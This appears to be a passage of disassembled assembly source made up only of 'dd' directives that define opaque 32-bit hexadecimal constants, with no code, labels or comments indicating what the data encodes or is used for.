dd 2A7AB324h, 3D00A654h, 96EFD008h, 1516F42h, 668243C9h
dd 0F4982458h, 0E13F9A11h, 0F88405D3h, 82FEC872h, 0D740E2EDh
dd 38E0A49Ch, 0A2250800h, 0A1CC033Ah, 5DD8000Eh, 0C8F55BE8h
dd 0BE00F851h, 3559F0CAh, 22DA2Fh, 64D584DDh, 97EF9354h
dd 90007FECh, 0F7A66173h, 1FE44A42h, 0F80C5F4h, 79C0630Eh
dd 16446C31h, 2F3EA000h, 0D0C88EC7h, 11FC62h, 799B35CFh
dd 9D38922h, 0E06EE0CEh, 25AA58D1h, 0F82600C4h, 2145FA10h
dd 991C6780h, 3E00CE19h, 3933A331h, 0BFAC0074h, 8B8F171Bh
dd 0F8025096h, 0D3A65F43h, 0BDE4A188h, 6FDC3EADh, 25E7300Eh
dd 0FF2BDA68h, 8D014CF0h, 0D6F03DEFh, 29C482A3h, 0E152E4C7h
dd 234100CBh, 108F3FACh, 83070F74h, 0C5DD638Bh, 0AE827D13h
dd 529B0050h, 0D20304C2h, 4F00A9E2h, 317B3F43h, 37F19BEh
dd 8D3D6E6Ah, 0F580CD3Ch, 2B26CAE7h, 9E0009B3h, 917F6F44h
dd 0AF6D005Ch, 0D102287Dh, 68E88C7Ch, 0C4156703h, 0B082B84Fh
dd 131EC46h, 0AC33180Ch, 0CC27BF7Ch, 0F9A03230h, 5E00BAFAh
dd 0AB908342h, 6136946h, 4501EC72h, 0BC0F5050h, 402F9F99h
dd 1D5E5991h, 39EF0124h, 0E0E8B3FDh, 0C28BFCC6h, 0B5531E00h
dd 0A56170FBh, 8E9100EEh, 0ABF8BC85h, 0CB2ACE57h, 7290908Ch
dd 802A80Eh, 21A4608Dh, 2FDE16h, 878C38F2h, 9E9F7F74h
dd 0CAF4E8E9h, 7E2C3B00h, 5299BA42h, 0D7103E59h, 5BACA380h
dd 5ED6ED6Eh, 738C4301h, 0E0142B47h, 5E8BEE8h, 0FC595AEAh
dd 34D00409h, 0ADA7406Fh, 27B9422h, 0F80611D9h, 18402547h
dd 0CA00A5C5h, 0E49B0162h, 61BD2Bh, 0EFDD7DABh, 99876C42h
dd 0D490A9F6h, 0F618E37Dh, 0F3B82E5Dh, 1121075Ch, 0F1E76447h
dd 0C4156057h, 0E12C426h, 34002F86h, 9CE8698Ah, 0CAB20B70h
dd 749012B4h, 0EA0027ADh, 2B799A81h, 12893DACh, 0F83EE4h
dd 0BCFA38ECh, 0B83FA2EBh, 0FFB000Ch, 0CDD1E33Ch, 3A6B3ABBh
dd 351AC080h, 8450F976h, 7781170Fh, 38D9414Bh, 79FC57F6h
dd 3B1BE026h, 1500377Bh, 0CBA860E4h, 64009BBCh, 9EB3E547h
dd 0C845B4h, 0D62BE78Ah, 2856B24Ch, 6B6FA218h, 13B9419h
dd 0FA1AEDF9h, 0DF05E075h, 708D80A7h, 810021E9h, 99495F64h
dd 7AE4B0h, 52BFCD08h, 0CA3E7135h, 770089B8h, 4F536336h
dd 6F911FEh, 0E95B3FA3h, 0BB002108h, 7BE2B7C2h, 709B587h
dd 63FA7662h, 36D1B2FFh, 0A500D058h, 722AD3E5h, 0FE15564Fh
dd 0A3380018h, 1E66EF42h, 0E7E64474h, 9BC99303h, 98F0177Ch
dd 2A3E59h, 3DDECE3Ch, 0CC25DB31h, 9D27AE00h, 785C8C6Ch
dd 4F9600C9h, 0E9F91A69h, 9C80F3D7h, 2CDD00E5h, 95963170h
dd 0F51D3EC8h, 0DAD49BDFh, 0AE4A7E97h, 0F3518D00h, 0E782E70h
dd 5E91F0CCh, 0E40C1119h, 8C0002CDh, 0D9817BA1h, 2057343h
dd 38FDBCD2h, 4C008A5h, 660020CEh, 0BEF4C662h, 0E2398245h
dd 34B2CAh, 4AA8BD3Dh, 53FFD88Dh, 0C63B6200h, 366BB414h
dd 0BB1E8F4h, 324E1CFCh, 83CCE080h, 7E004512h, 62FE7D94h
dd 2C47887h, 9C896FDFh, 2FC0AFE7h, 7700DC3Eh, 264DF3EBh
dd 8FF7EAh, 0CEACFCE5h, 754284BFh, 15A9C000h, 437E86EEh
dd 80460F4Fh, 96E05759h, 539ABF5Fh, 0C3790800h, 0C70A481Dh
dd 33BFE03h, 0CD8E3C77h, 69A87516h, 4700BA20h, 6EEC1036h
dd 7DBFFh, 1A421DA0h, 2E9E5260h, 0DF962303h, 2FF2D5F1h
dd 0B7700320h, 10DD3B00h, 0D21772F6h, 9CFE7Dh, 0DA71EBB1h
dd 5BAA0525h, 0A330A500h, 1F1CEA78h, 415400CCh, 629EDC81h
dd 2500570Ch, 8B997F63h, 0F52030h, 0E8EAE2ECh, 0BBA59A60h
dd 44D39B00h, 0C2F12AB4h, 656916BFh, 0AE8F0093h, 0EFEBF5CDh
dd 0B08EBA00h, 349CF8EAh, 26F20156h, 7C7D0795h, 0C470CC48h
dd 98927F71h, 0D9B54400h, 89AA0927h, 0B7A11C29h, 31754157h
dd 0F52A12D7h, 95206051h, 0DC4F1E03h, 0D9B941ECh, 9B40DAB0h
dd 0F05A36h, 0A0197B6Bh, 9C97A68Ah, 19F492Ch, 0FE186E03h
dd 0E500A7F1h, 1219D5DAh, 0A211DFE6h, 43137CBCh, 9101F99Fh
dd 1E0E34A1h, 0FD7312FCh, 980D7ED4h, 86BD00CCh, 0CFD06A98h
dd 1F26D175h, 970084F4h, 19D74B8Bh, 12C400F1h, 74686089h
dd 0FB071FFEh, 0E416945h, 0E1B84302h, 120DCD7h, 8A4E0014h
dd 51E83482h, 553AAE91h, 6CA8097Ch, 284C5A2Bh, 1EC3A0EBh
dd 47BD6706h, 0D1BB6566h, 6D2B7270h, 58D217B4h, 888070C7h
dd 0E8224CA5h, 244D005Dh, 7182C62Bh, 5B00B216h, 958B73A7h
dd 0ED5FC5h, 0DF8650D2h, 64D44220h, 0EC904001h, 8A3A72B2h
dd 46E94084h, 0BCB090F4h, 99C01119h, 6264FA69h, 541E0A93h
dd 104056D3h, 72CF00F0h, 16935E35h, 917D0554h, 1C2C6CA9h
dd 2C49946Ch, 0A85660Bh, 56EAB580h, 0BA00EEC9h, 98ACE6C5h
dd 786CBD4Eh, 0A23B006Dh, 0F5076714h, 120F6E1Eh, 0AEC85C4Ah
dd 1FD4274Eh, 0B1F15770h, 357600E9h, 9F7C03DDh, 0DF00A993h
dd 8261B290h, 0BB75E8h
dd 2CF001EBh, 86046E18h, 7789C00h, 0CAAB19F9h, 4302009Bh
dd 0D60E1D2h, 600808Fh, 0CE7B20BAh, 0C3B7DAAh, 32D7EF64h
dd 0B3EE1902h, 8708C506h, 3E06ADBh, 319FF471h, 748116CAh
dd 13E06D8Eh, 30E2F069h, 7595D603h, 0C3BF3B1Dh, 17C1D739h
dd 74C2C40h, 195E1F93h, 509940Ah, 0EE40E048h, 1CF6177Ch
dd 0E0B012E8h, 204365Ch, 0F3040AEAh, 8C865400h, 70B7B2Fh
dd 804F88BAh, 0F76FB78Ah, 4F344E84h, 7CB01B5Ch, 1267423Ch
dd 0ECE0151Dh, 37903087h, 0E76B828h, 8CEB3D3Bh, 5940976Fh
dd 0A810190Fh, 100D7812h, 0E59681BFh, 0AAA8142Dh, 7B1078D8h
dd 0E17C00A9h, 0F9649967h, 1200937Fh, 65986DFFh, 0C0AB7AF6h
dd 210F1020h, 7600A01Fh, 0D4B7FBD6h, 0A6F020h, 0BDA3298Bh
dd 9D3DC5D2h, 0F7D9B103h, 0B91989FBh, 91209AC0h, 673C0024h
dd 86CF0DA7h, 210E5B18h, 0A17304EAh, 2978D35Ch, 440E6ECh
dd 79ACDD06h, 0E9F4801Dh, 0A000BE72h, 0B5A44E0Eh, 0F23F70Fh
dd 0A78C8A36h, 0CC080A03h, 0D4016790h, 0D2B0BE03h, 80AF06CEh
dd 2E4C9F9h, 0FBF6FA4Ch, 0D0608F8Dh, 7F05371Bh, 0A4B19AF0h
dd 7CDD6D80h, 0A0E8ADh, 3BCE288Bh, 15E5278Eh, 9E839C00h
dd 56B59B5Fh, 8CA00F3h, 1D9AC2EDh, 0F600FD6Ah, 76246170h
dd 0E6BF94C0h, 7AB300D8h, 0D43C548Bh, 0BEF02507h, 0C3AC4800h
dd 3ADCD250h, 8761025Ah, 1B9E8B9Fh, 13DFCCA2h, 3037A858h
dd 4710598Ah, 0F0BD668Fh, 0C61D00ACh, 7FE3F851h, 905CD9E9h
dd 2BB41C74h, 91A45980h, 0C0EC718Bh, 74108A51h, 0E4CFA3Dh
dd 148900A8h, 57F6707h, 0F4EB039Ch, 7C650A8Eh, 23B009E3h
dd 2F00856Eh, 0BD4626F8h, 1E86F31Ch, 4971819h, 0C064B594h
dd 98DD0C0h, 0E4EE800Ch, 3D5A966h, 0A5936E49h, 0BC89C6Fh
dd 4D30BC87h, 0CE13B0CAh, 7C902B1h, 48686436h, 29078050h
dd 0BA3E2549h, 6ECE8FD0h, 4FF600E4h, 3D340D36h, 673D9A74h
dd 0DAB1805Eh, 0C6DEF11Ch, 715ECEAh, 0E058AD1Bh, 922AB08Ch
dd 3F037B0Ch, 7423CCE4h, 2FAFC86Eh, 72380E87h, 3AE0EE61h
dd 0CC51182Eh, 8CA6B300h, 7CBDA52Ch, 0C5BF13ACh, 4AA8400Eh
dd 0BA3FF22Eh, 9D7B0A01h, 55CCB078h, 0D634C8h, 0D8B77A52h
dd 9AF6E571h, 60082600h, 783B7C91h, 0EC7512h, 0C13A4F3h
dd 72B9D138h, 0BCE871F4h, 0E0DB0700h, 7718C602h, 4BFE04F9h
dd 800DEE65h, 1FE7DC7Bh, 0FA79B3F6h, 0C5B0F800h, 33CEAA9Eh
dd 68FE46h, 5F8EC1ECh, 69A925ACh, 90617300h, 0F096061Dh
dd 4CCE01FAh, 0EC05028Ch, 0EDFDFCB8h, 0CF626501h, 6B9C808h
dd 2BA720h, 40C94EAEh, 0E2814AD8h, 3FBB4Ch, 8B9272ABh
dd 42EC69Dh, 1095641Ah, 404880DBh, 0AC2423B6h, 281E2C50h
dd 26A7D980h, 92D8C50Ah, 0D5F478h, 0A8878245h, 44F5BE3Bh
dd 0C5E10700h, 0F788DE8h, 0E006186Ch, 218B10CBh, 52F5360Eh
dd 0A0D22F5Fh, 0AD496FD3h, 0A28F003Fh, 969DDEDBh, 84092E6Dh
dd 7F4260Dh, 2DF0BD34h, 0A0BCBAB2h, 41F0C2DCh, 754C40E9h
dd 0AD07834Fh, 22053A59h, 0A0AE5077h, 0B70BE856h, 922B026Bh
dd 2AD6944Ah, 0F80547Bh, 0C3A1E8EFh, 87140021h, 18F8C276h
dd 9E3E5EA0h, 9F8F0012h, 0E247E79Ch, 370200CCh, 26AD3FD3h
dd 6700E0AEh, 0DC069157h, 3081C43h, 4832E980h, 86E862C8h
dd 68006DA5h, 47BC96C7h, 0E2729F58h, 0C14D196Eh, 0C30A58B6h
dd 0D51B0480h, 1324AC01h, 0F08181Ah, 607CC4h, 0FBBAFCC1h
dd 0B9BBFD23h, 753B5107h, 0CDC0354Ah, 2270B03h, 6E6AB679h
dd 0DC409483h, 7A071BD1h, 0B5C4D4DCh, 0BDE2E6B0h, 0F7CD0E14h
dd 21002006h, 0C0EC2961h, 86717813h, 0CADE2040h, 1F396B13h
dd 0DC5BAE90h, 11650F3Ah, 18FFAA60h, 0CB0042FAh, 2BA0DF15h
dd 0B7F685h, 9CBA9B45h, 2DD32125h, 67503B00h, 7D720E92h
dd 0AA970E31h, 0AD6906ACh, 1696E880h, 0E0003EB5h, 0B91BE6DDh
dd 28BC9F8h, 8CEB6AA2h, 0D8C06ED6h, 2309D0FEh, 48611E0Eh
dd 366864h, 16A1C10Fh, 7B597018h, 605BEA00h, 95256BBDh
dd 94A0F5Ah, 1F80D878h, 1C93AE7Fh, 2087B600h, 8C0772BAh
dd 0BB82302Ah, 9CE2D118h, 0DFB7A501h, 0C35BD632h, 1FBE29C0h
dd 2441CCC4h, 0B0658080h, 0C73B0AAEh, 9F7C989Ah, 0E2C9FF0Eh
dd 601803DAh, 7EC40008h, 86ED80DFh, 9490D752h, 5A88FA00h
dd 0DA09D63Ah, 66FE00FCh, 0FF239B79h, 0CF00C620h, 88DC2561h
dd 76391082h, 1EEEAAh, 0C7A33099h, 962CD1F6h, 151F9802h
dd 61063304h, 0AC69942Bh, 0E8E7D60Fh, 88C81F85h, 4C00102Ch
dd 1B11CC95h, 32C034h, 38D75E7Ah, 0E4631373h, 75486001h
dd 4BF66142h, 3BCDD3D8h, 0AA925B30h, 88F70026h, 0DCE206E6h
dd 8E002098h, 2F72A901h, 4AD72Eh, 7D94140Ah, 0B0E79DFDh
dd 4D8E6500h, 0AEA2E637h, 91B900BEh, 0C464C06Dh, 2D001652h
dd 0BF750BC8h, 77F65h, 9BFDBA0Dh, 71D2FC8Ah, 0E7000575h
dd 4ED0F49h, 0B81CD643h, 0EFA100BEh, 935C9475h, 0DD00B0AEh
dd 7ADA34E5h, 823508h, 99F63BA6h, 1349EAB4h, 7EEC3Ah, 50400363h
dd 11CC181h, 0ADFA91C2h, 0D841570Fh, 23006156h, 1832D9C8h
dd 1138FD2h, 9D6D952Fh, 0E0D50D64h, 7B00E314h, 9B4A15Ch
dd 2773CF03h, 0AC87E2E0h, 7F6D9067h, 28507E9Eh, 5D0060C0h
dd 0B9A258A7h, 24EFD15h, 55FE06CFh, 9040BFA4h, 1C00DEF4h
dd 0F11F0299h, 0BD3AF9h, 0A634DB8Ah, 847AA488h, 0A90ACA00h
dd 0B17EA5B8h, 5D91000Fh, 1C746990h, 0CB0128F7h, 37B74F8Ah
dd 0B1DC479Fh, 641400C2h, 661B6D75h, 39E48450h, 1F2A43Ch
dd 45B4F01Eh, 0EED41494h, 55640063h, 0D2115F6Bh, 469EDA2Fh
dd 4D019400h, 1B0E9D9h, 214F74EFh, 206F5D58h, 0D7000534h
dd 86685A5h, 13ABC1EEh, 16C02AC4h, 0EF4080DFh, 0E3B741Fh
dd 6339170Ch, 2F855C04h, 42F4FC43h, 0D3110F8h, 0B4B0F000h
dd 7807B652h, 9A6A2516h, 4749F897h, 1A8080F0h, 0A9D5C67h
dd 0E000624Bh, 0E90B64D9h, 8B949648h, 0F872036Ch, 55769700h
dd 541E9166h, 0C0A2378Ah, 0C08E8718h, 67015ED1h, 0D0A2D07h
dd 4EE079DDh, 1E83176Ch, 166EE7Dh, 0FCD18C5Ch, 374FF09Bh
dd 0C5874500h, 88B64391h, 0D40FB7E0h, 0D3556600h, 0F5606516h
dd 806F0E89h, 1250BA0Ah, 36D97F2h, 23276705h, 0FC8562B1h
dd 86B064C2h, 10604554h, 0AE201542h, 7BC86F64h, 840034E3h
dd 0EECEADDEh, 8B0F4E94h, 0E0152C93h, 80ACE63Ah, 31740E48h
dd 0ABE0D03Bh, 5550EA18h, 9C89F000h, 0B70E28B6h, 0F97A99h
dd 53E99EADh, 597A6D60h, 6AD93003h, 0A8E079F0h, 9A0201h
dd 138BAFB9h, 424E04DAh, 6525700h, 341EDD4h, 565800A8h
dd 0A4DE932Ah, 9A1D61F5h, 0E8C7D5E2h, 11A0E3AAh, 981FC9A7h
dd 0EE900CEh, 0B2DA17B1h, 411CA2A8h, 0B5C0D105h, 0F7AC4B9Ah
dd 0F8B0BE01h, 76000735h, 0CD08C6F5h, 7C032826h, 387C7Eh
dd 423CDD83h, 0E83FF28Dh, 0C73AA300h, 0DF6EA4ADh, 0DEE865h
dd 0F66D0224h, 0CA720B35h, 0E809F30Eh, 214E84E5h, 0D88878A8h
dd 932CFC0h, 9F0E90EAh, 0AC1CE814h, 8B023227h, 20EDAA43h
dd 9D4E3AD0h, 0F0B00200h, 2FEABACFh, 66A17F3h, 6EC4A034h
dd 0D0E73604h, 0ACFC73ADh, 3A00584Ch, 1162C23Eh, 0FCA83B81h
dd 0C65E688Ah, 8DD67480h, 0C44E4Fh, 26653A8Ch, 0DF4ED072h
dd 0DA51A0C0h, 6FB81416h, 3EE02086h, 5E862ECAh, 0C04CDA3Dh
dd 3A093034h
dd 38F71091h, 0BB7D5062h, 2A299D3Dh, 0D600DC78h, 91AAB780h
dd 10E7DAFh, 76819BEEh, 0FC628915h, 0FA27AE25h, 76CC316Bh
dd 23102E6Eh, 5CEA0038h, 267845C2h, 0ECCB0D03h, 0D029A6h
dd 937F660h, 0B3D5F45Eh, 0DCD148h, 788B7A33h, 95395107h
dd 0DE7BB099h, 0F18F8957h, 0A1AC6068h, 4974DDABh, 8C5D6B0Eh
dd 1A9243E5h, 0FA7BA942h, 0F7D8F000h, 54C7084Eh, 0F6788AD0h
dd 703DF109h, 0BF247280h, 0B709F75Ah, 0F93CB953h, 18DB7178h
dd 0E860EB0Dh, 63230347h, 5CBBADEAh, 3485885Bh, 25236C2Fh
dd 9B224800h, 7E3CD07Fh, 647913D5h, 1CD0E4FDh, 1873D318h
dd 0A87C0AD0h, 6634F8h, 776444A2h, 0D327CBB2h, 0CF012898h
dd 6D1A19Dh, 90D49C67h, 0F88EFACAh, 8A4B02ECh, 1FBB4663h
dd 404E3074h, 0C74E2B7Dh, 0E9730053h, 2235406h, 68A55DFDh
dd 8D6339C4h, 7C7F22C0h, 0E47090B7h, 0D1C912B2h, 4E841C05h
dd 208BBFADh, 378D3C48h, 0A441EF41h, 0AC31AAA9h, 0D4FAFDC5h
dd 919C015Ch, 6407526Bh, 0AD1E870Ch, 7506672Ch, 44386111h
dd 0AE1280A1h, 50808C3Bh, 9DDCC89Ah, 6508EC97h, 0DA7862F1h
dd 7ECA2841h, 0E1132000h, 9D5E9D73h, 65919C17h, 9D81B080h
dd 9DFE60h, 13942B4Ch, 0C4E0CFFFh, 1CD1DE69h, 3C4C9F04h
dd 425E8004h, 8426F373h, 1F4078ACh, 8808A2C2h, 380725B8h
dd 8CA91D1Bh, 0D7B9B2E0h, 649D49BFh, 3AB7D81Eh, 6E00913Eh
dd 61238AF4h, 0B201D519h, 6D292666h, 413EC85Ah, 8BFC12Ch
dd 0CA698079h, 318B47Fh, 0C00C0187h, 0FB35AFA9h, 72A3202Ah
dd 0FFA80712h, 9EE2DC40h, 0E22EED5h, 0BCD6BDFBh, 0A7AE160h
dd 0F6006C5Dh, 1ECC7576h, 0C038A15Fh, 627E5878h, 201379BCh
dd 2D09B79Bh, 7074D93Dh, 5086E9DBh, 12438342h, 41EEF24h
dd 0CA4607D0h, 0A26C5314h, 3811302Eh, 20BBAF00h, 689C3FEAh
dd 19C23B80h, 8030DBDEh, 70F434CBh, 0B87D3E2Bh, 5045392Fh
dd 0C46025E4h, 6D00F410h, 8B311DFh, 2595D7DEh, 28514D6Fh
dd 8A18ACD9h, 290012E0h, 25849B9Eh, 3F60D198h, 0C527C1DEh
dd 644294E7h, 0D7C01AF1h, 0E136740h, 0CA0AF8Dh, 699C2087h
dd 82160390h, 912439Bh, 78628020h, 9822F3B6h, 0DC71D48Bh
dd 7318F779h, 64542601h, 457110C9h, 13C2E16Eh, 83A8D1A8h
dd 0B499090Ch, 0EE80C01Dh, 5822B399h, 337ACDh, 7B507FD7h
dd 9E137A5Fh, 0C03B7837h, 612D9600h, 4493E433h, 6D3B2705h
dd 5AC4C17h, 0F38413E9h, 3ABC98FCh, 0A27D038Ch, 5371CA68h
dd 2DA4E2E5h, 0C45CC506h, 67260F0h, 37261DA7h, 85A45767h
dd 964801BCh, 239E60EFh, 0E5137170h, 0D837FEA3h, 5F0B82h
dd 0B1DE64CDh, 0B7B70C92h, 0C3EC1E1Ch, 0F5DE4746h, 7F274886h
dd 6414C88Ah, 1E553E0Eh, 85C8605Dh, 6F7C452Dh, 0D3DD8571h
dd 36A232C0h, 1C0BE81Eh, 0E79F901Ch, 0D647D4C0h, 70C1E974h
dd 0BD4F75F6h, 7CA572CCh, 7EA8134Ch, 92A00086h, 0F3AB8451h
dd 379E84A1h, 7D807508h, 2B5900A3h, 0D302E022h, 0CAF63D2Dh
dd 21083566h, 2A8A1221h, 0C0261FE0h, 0BE4D89A4h, 1C075EA5h
dd 72DE1877h, 715F8E10h, 0D9CF03C2h, 4A81F711h, 0FF5A2000h
dd 0CE17A4D4h, 286F638Eh, 580075F3h, 8785D24Bh, 307BD03h
dd 5128F054h, 5CA8C5AEh, 95304F3Dh, 467D2893h, 9BFA1Bh
dd 415F14C2h, 86F69F8Bh, 390E2C00h, 0E5D4FB1Dh, 0FA7800EFh
dd 0D2A0F065h, 9D7C598Fh, 0F722401Dh, 9F955C86h, 4430151h
dd 51A210Dh, 1DED3030h, 218F08CCh, 0D0C005Eh, 0F5AEA3F6h
dd 5F3C905Bh, 0E52F00D6h, 59F97721h, 428A49Bh, 1A220D01h
dd 2048621Dh, 0F0D0963h, 0AEE16803h, 90581A2Fh, 2A0BA110h
dd 28878F4h, 649C075Dh, 80854CF2h, 608444FAh, 403B0FA1h
dd 0D25EC69Ch, 65321CE7h, 0FB5B86B7h, 7830698Ah, 0DCA3084Ah
dd 0EE23079Fh, 50FAA64Eh, 0E390C53h, 5A381500h, 0F6D2FB7Fh
dd 1C593295h, 73061D1h, 211AFA0Dh, 8B912FEDh, 0D0F5D00h
dd 4E193905h, 0DEDB5B05h, 0F0036AEAh, 19C9590h, 0E7492929h
dd 805078FAh, 9DF64299h, 5A77514h, 656916C7h, 1095102Dh
dd 0AA3D3E00h, 5BD6EB78h, 9BC98D14h, 5F9E14C1h, 1C450CF4h
dd 539118h, 6FF0720Bh, 0EA173A48h, 2351F200h, 6C4BD409h
dd 5944621Dh, 68481C71h, 0B100A16Bh, 0BDD935E3h, 11956A7h
dd 8A049FE5h, 2489C787h, 20521428h, 0D09218E8h, 52635949h
dd 62F1DC13h, 4AC0CA3h, 827E16Ah, 582C989Ah, 0D6CBC400h
dd 4F2548CEh, 2360DC51h, 6B9C0401h, 691824F2h, 4C3488h
dd 0E5F1159Ch, 9D682E06h, 67F03091h, 0B82001A3h, 0BFE53FDDh
dd 9E28DCB0h, 731F3Eh, 0DA94C1B2h, 30EC10BDh, 1118B825h
dd 1200E475h, 58B2228Bh, 31CF9E15h, 0CD210FA8h, 9E3603Ah
dd 0EE7DB400h, 0D62B6F4Dh, 5215005Ah, 4D1C3EDh, 0AF3A496Dh
dd 1F8060F6h, 0E6A5C16h, 1150422Dh, 409622Ch, 0C73C2050h
dd 0CB00E690h, 3817DAE9h, 606C819h, 8B13C364h, 0F2002909h
dd 0CCB96CDFh, 1141053h, 3FCFB78Dh, 86092011h, 80F6B8D8h
dd 5FB00059h, 8AC33729h, 1900D661h, 73F701A9h, 60E74DC9h
dd 0AD2578D0h, 0B740A49Fh, 6D37E1Eh, 82CDE824h, 11E48873h
dd 61142530h, 0CB9B410h, 0FEA921B7h, 0DF82944h, 796EF830h
dd 19604153h, 0C09C0880h, 7FC998F2h, 7392C21h, 8F700F60h
dd 267E911Ah, 0CD81E4FEh, 5E92250Eh, 911A79Ch, 284EB780h
dd 30125220h, 7D603A02h, 58315408h, 60523110h, 0FA564A04h
dd 1780ACEBh, 0A0C38C57h, 82815EECh, 4020FC04h, 716D6721h
dd 747F5050h, 3A190BFh, 42D970Eh, 9309EA4h, 41DF2102h
dd 4020EFE5h, 0BB12308Fh, 3C921FC8h, 108C6A52h, 3BC0F7E7h
dd 4C08C660h, 327E448Ch, 8A605300h, 8BFD1C1Eh, 0AA282499h
dd 2EF98F58h, 0AEC0D3EFh, 8CD5AD74h, 380FDC24h, 73483E9Bh
dd 594AC70h, 87A603Fh, 2E3828ACh, 10605700h, 3E99A380h
dd 3DBEE6Dh, 2411B315h, 280A6F32h, 8C557175h, 1BE516C0h
dd 22154697h, 3ED40003h, 0ABE728E5h, 0E1E96A7h, 8C472680h
dd 0B0FD9BB4h, 0D997A3FDh, 0E15C0064h, 0D00671E6h, 4C402B49h
dd 1852B8h, 4FE97296h, 1B6536h, 8CA9DF48h, 1EECAE31h, 7C299502h
dd 41718D15h, 25101284h, 17181F03h, 0DF90A0Bh, 43D701DEh
dd 0C4B7AA1Ah, 70FC22A9h, 17551900h, 6DB41B8Bh, 0B3E33AA3h
dd 65011622h, 0BD855510h, 0D3F65Dh, 2AA97A99h, 0B4AE5952h
dd 57163001h, 1113197Ch, 0D89A6F3h, 0A863FC96h, 0EB3021F8h
dd 0F66E21F8h, 0B0025341h, 0E5AB3357h, 182597E9h, 3CD28807h
dd 0A7D6E500h, 8A8723F8h, 3B7500ECh, 1E406D09h, 0FA488D3Ah
dd 7F700440h, 4C80AE2Ah, 6C22117h, 55A2C18h, 0F03D2071h
dd 0B948E0h, 8BEEEFEh, 0A015FAA7h, 368A1FD8h, 182873CCh
dd 48B61230h, 2A3C200Ah, 2E0A428h, 41AE80D8h, 0DC859B1Eh
dd 0CFE04C37h, 0C800DD21h, 0EE0C5BAEh, 1232DAEFh, 50E3D48Ch
dd 0CF23C45Ch, 1A28B420h, 0C485C08Bh, 54E76080h, 22D7A6A8h
dd 120084F6h, 0CD9E97B1h, 2DC56Ah, 0EC287C67h, 200965CFh
dd 2583E52h, 1E3FAE7Ah, 10D0316Bh, 0E0AEC2E3h, 27B1011Ah
dd 648AA89Eh, 13844368h, 80605FB2h, 8D390219h, 92520A56h
dd 8C1EE47Fh, 0F3742C24h, 72028A18h, 2027BC28h, 4CE04C0Eh
dd 8138B3Eh, 2D7438B4h, 0DF605600h, 0C93BEDC0h, 50AA02CFh
dd 0CAC7FCA4h
dd 7A8BB080h, 0A0DF7B9Eh, 0CD239910h, 18551A01h, 0FF18138Bh
dd 62B740h, 19C75511h, 7FB66EBDh, 0FCD38C00h, 0B8720D69h
dd 0C5E61F36h, 12923F08h, 42104880h, 3BAEC6C0h, 22CB461Eh
dd 0CEF700D4h, 4236C7AEh, 56F423A3h, 51B08865h, 0F2FDA898h
dd 67A6488Fh, 9DA5820Ch, 4EE2941h, 11D11403h, 2EB68F84h
dd 0D4B019h, 0D55B0B6Dh, 0B339F3A3h, 0B60389EFh, 11C0379Ch
dd 43DC8006h, 0B9430D0h, 698D424Ch, 36977801h, 0C184410Ah
dd 8125718Ah, 0F0A70698h, 90527B9Bh, 0AEC73043h, 908CBCB2h
dd 0F8DC44h, 0CA3CAECFh, 0FD387FA8h, 4971AC0Bh, 918C1DB4h
dd 91A7807Ch, 0E2B42230h, 4D2104Bh, 730A156Dh, 0BC844C88h
dd 187143BCh, 0FE883ACCh, 0B74B1994h, 185348F7h, 19E50918h
dd 6C9C4597h, 0E540DE03h, 0C8D4928Eh, 4F078AFh, 67F47D2h
dd 882C8E20h, 1E67E3CFh, 0B69981FFh, 0ACC6DD04h, 71009CF0h
dd 96D8E3B8h, 0A26326ECh, 0EE09BFD0h, 802A32A8h, 80CE1198h
dd 8B19550Fh, 0C0B342EBh, 0F154E663h, 34111DC7h, 16BB40F8h
dd 9C72A81Bh, 5A70400h, 29267C54h, 145D5D5Ah, 0BDA4300h
dd 1F073157h, 3C4F1329h, 3718FD71h, 75B1A3A0h, 68F49502h
dd 0C98A9772h, 8070FEC0h, 635A098Fh, 588116ADh, 25C7B704h
dd 88D6F000h, 30B8480h, 41752EDAh, 27C2878Dh, 59E43445h
dd 93986E63h, 2104C2FCh, 7928A45Ah, 0C4904FC2h, 9DD8A1A0h
dd 7191A510h, 240A19C0h, 0C481F7C4h, 80DF7611h, 8E681B81h
dd 6F5B2100h, 0B25C0A47h, 60A005B0h, 80B32297h, 0FD210F50h
dd 141C174Dh, 10F0678Dh, 4604A95Fh, 0C19EB479h, 32810ADCh
dd 4558B34h, 7C604018h, 1E233DAEh, 7DA117Bh, 0F1AEC4E1h
dd 0C342F4F0h, 48E4CCCh, 7209A610h, 701349h, 4989EDA0h
dd 60509F8Ch, 446F4928h, 0F27CC9ECh, 6E467105h, 8088738Eh
dd 0C766288Dh, 21146C0h, 87C603Dh, 1056313Ch, 605530h
dd 690EEB6Fh, 0CDF6C6ADh, 46C14F04h, 80CB1474h, 17015223h
dd 3D9718E5h, 8092D423h, 9964C0A8h, 0B6309002h, 829EDFD4h
dd 51261BA0h, 8842CE0h, 71871221h, 6DE030F0h, 5C75DF06h
dd 6BC34CBDh, 909ECA72h, 0D597D880h, 0C63F10B9h, 15551B02h
dd 58C70B8Bh, 55126700h, 314ADB6h, 0FEE52895h, 408F16C8h
dd 5E0DC026h, 13909213h, 8F2CCC09h, 1286A87Ch, 3D8D0F7h
dd 3E0A3217h, 0F4A28D83h, 0B3FC6F80h, 33CFD0E4h, 0E2910CA8h
dd 20F50188h, 0A20387F4h, 69CA4ECEh, 2599508Dh, 260C7848h
dd 6647E8Ch, 698896A5h, 90F41300h, 0EA70D45Ch, 0FC10536Bh
dd 82C6B903h, 8100A08Ch, 8B7428A5h, 0D654EA72h, 2BAE0AB0h
dd 84F38994h, 9C810446h, 51518C8h, 3B8B1355h, 44CBB3h
dd 54550C49h, 265A1E4Eh, 1C4C7051h, 60A7C574h, 0B69406C0h
dd 0EC91785Fh, 8671BAD0h, 1814BB00h, 0DFD11615h, 4AB912A2h
dd 1110C8ACh, 1E00DCE2h, 1C0A93FFh, 0B2793Eh, 5D9E450Dh
dd 0ACA7D404h, 0EF295C01h, 0C189F772h, 0BBF2020h, 0D0FEB15Ah
dd 6F76B438h, 0D1732074h, 10F8C248h, 305051BEh, 0F6DA408Bh
dd 9959EAh, 22F03982h, 0BF8E819h, 5C10007Eh, 77CDDE02h
dd 3600AE05h, 0B6784DA3h, 13537227h, 216B97A4h, 0F669DF5Ch
dd 0D0864464h, 0F9D1BCB1h, 6900E218h, 0EDB43882h, 2730F5A8h
dd 9BFE228Fh, 2D8C421h, 2C778673h, 3E8F060Ah, 0B509BC1Fh
dd 6850054Eh, 0F1EF8C05h, 4CE20888h, 65A0905Dh, 9403EE36h
dd 0A9B2C12Fh, 68D10024h, 53B59007h, 1500036Dh, 0E0C91150h
